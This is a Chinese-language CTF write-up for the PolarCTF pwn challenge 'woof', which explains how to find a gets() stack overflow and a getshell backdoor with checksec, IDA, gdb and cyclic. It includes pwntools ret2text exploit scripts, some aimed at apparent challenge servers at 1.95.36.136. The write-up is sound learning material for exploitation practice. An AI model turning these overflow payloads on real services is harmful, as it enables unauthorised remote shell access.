【PolarCTF】小狗汪汪汪
官方解题过程
视频地址:https://www.bilibili.com/video/BV1fr4y1Z73F/?spm_id_from=333.999.0.0&vd_source=8f0afd63b200110f194b702a250fa6ec
将woof拖入虚拟机进行识别
checksec
将woof拖入32位的IDA
点击查看init(),发现就是一些没用的初始化函数
分析dog()函数,发现很明显的溢出
按下Shift+F12
点击/bin/sh
然后Ctrl+x跟进下
F5找到了后门函数
下面动态调试woof
创建200个长度的字符串,并复制下来
这里200个字符串是随意的,也可以是其他的,主要是让程序报错得到偏移量
然后main函数下断点
然后输入r运行
一直n运行到输入点,将刚刚的字符串粘贴进去
发现程序中断报错
将报错的地址进行复制,计算偏移量
偏移量13的意义是: - 表示从输入缓冲区的起始位置到覆盖返回地址的距离 - 具体来说: - 前13个字节是正常的缓冲区数据 - 第14个字节开始就会覆盖返回地址 - 这就是为什么最后的exploit是"13个A + 后门地址"然后查看下getshell函数地址,发现getshell函数地址为0804859b
使用objdump快速查找getshell函数地址# --解释 # -d:反汇编 # -M:使用Intel格式的汇编代码 objdump -d -M intel ./woof | grep getshell也可以在IDA中找getshell的地址,右键选择“Copy to assembly”
然后编辑下利用脚本
执行脚本
# 本地调试 from pwn import * io = process('./woof') # process or remote payload = 'A'*13 + p32(0x0804859b) io.sendline(payload) io.interactive()# 远程攻击 from pwn import * io = remote('1.95.36.136', '2119') # process or remote payload = 'A'*13 + p32(0x0804859b) io.sendline(payload) io.interactive()下面是自己昨天做题成功的解码
自己的做题过程
先检查下woof的
NX是数据页不可执行,ret2text是跳转到可执行的text段并没有影响。
影响ret2text的Cannary(防止栈溢出)和PIE都没有开启(地址随机化)
是32位的程序
用IDA32为的分析下 woof
然后按下F5查看伪代码
可以看到有2个函数
第一个init()函数没什么作用,就是方便我们做题做的前置设置
主要是dog()函数,可以看到接收gets(s),而且可以看到s大小为9
那么接下来我们找下,后门函数
可以看到getshell可以帮助我们获取到/bin/sh,并且它的地址为0x804859B
那么我们就需要先填充9个字节的内容把s的内容填占满,然后再额外填充4个字节的内容把ebp占满,然后再将getshell的地址填充到返回地址即可0x804859B
payload如下
from pwn import * io = process("./woof") # 攻击远程的程序将process换成remote(地址,端口) io = remote("1.95.36.136","2113") get_shell_addr = 0x804859B payload = b"A"*0x9 + b"BBBB" + p32(get_shell_addr) io.sendline(payload) io.interactive()这里我们直接看IDA分析看到是需要9个字节可以填充到ebp,但是有时候IDA里面是分析错误的,所以最好我们手动进行分析
一直输入n步过,直到运行到dog()函数,输入s步进到dog()函数
进入到函数之后,也是一直输入n步过,执行到gets()函数位置
到gets位置后会让你输入字符,这里我就输入AAAA,然后回车
再输入stack 24,查看堆栈信息
我们输入的内容是存放到eax中的,这里我们要计算下ebp到eax的
注意这里eax-3,所以要额外多减去3,可以看到算出的也是9,就说明要填充9个字节内容来占满。
疑问解答
因为自己是第一次学习PWN,想弄清楚一些细节,下面是我与豆包的对话
1、IDA的Ctrl+x是什么快捷键?有什么用?
2、F5是什么的快捷键?有什么用?
3、cyclic 200这个命令是什么用?如何记忆这个命令?
4、“cyclic -l 报错地址”计算的是什么东西?为什么通过这个就可以确定要填充的垃圾数据长度?
5、解释下命令“objdump -d -M inter ./woof | grep getshell”
6、cyclic -l 的工作过程是什么样子的?
7、“objdump -d -M intel ... | grep” -d参数我应该如何记忆住
